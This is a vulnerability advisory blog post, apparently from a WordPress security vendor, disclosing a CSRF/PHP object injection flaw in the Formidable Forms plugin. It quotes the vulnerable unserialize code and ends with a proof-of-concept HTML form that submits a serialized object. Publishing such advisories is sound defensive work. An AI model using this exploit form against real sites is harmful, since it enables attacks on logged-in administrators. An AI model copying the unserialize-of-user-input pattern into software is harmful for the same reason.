30 Aug 2019

Our Proactive Monitoring Caught a CSRF/PHP Object Injection Vulnerability in Formidable Forms

One of the ways we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught a cross-site request forgery (CSRF)/PHP object injection vulnerability in to the plugin Formidable Forms, which has 200,000+ installs according to wordpress.org.

The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.

The monitoring flagged this line of code in the file /classes/helpers/FrmFieldsHelper.php:

189
$value = maybe_unserialize( wp_unslash( $_POST['field_options'][ $setting ] ) );

That will unserialize user input, which could permit PHP object injection to occur.

That occurs in the function get_posted_field_setting():

182
183
184
185
186
187
188
189
private static function get_posted_field_setting( $setting, &$value ) {
	if ( ! isset( $_POST['field_options'][ $setting ] ) ) {
		return;
	}
 
	if ( strpos( $setting, 'html' ) !== false ) {
		// Strip slashes from HTML but not regex.
		$value = maybe_unserialize( wp_unslash( $_POST['field_options'][ $setting ] ) );

Looking at the code we couldn’t easily figure out how that code would be accessed so we instead tried figuring out how it would be accessed from the WordPress installation. What we found is that it could be accessed by Administrators without requiring a nonce, as shown with the proof of concept below, so PHP object injection could occur through cross-site request forgery (CSRF).

There is a nonce check being done, but it doesn’t stop this code from running for whatever reason.

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown, when logged in to WordPress as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=formidable&frm_action=edit&id=1&field_options=test" method="POST">
<input type="hidden" name="frm_compact_fields" value='[{"name":"frm_action","value":"update"},{"name":"action","value":"update"},{"name":"id","value":"1"},{"name":"frm_end","value":"1"}]' />
<input type="hidden" name="field_options[custom_html_1]" value='O:20:"php_object_injection":0:{}' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Plugin Security Scorecard Grade for Formidable Forms

Checked on October 28, 2024
C+

See issues causing the plugin to get less than A+ grade

Leave a Reply

Your email address will not be published.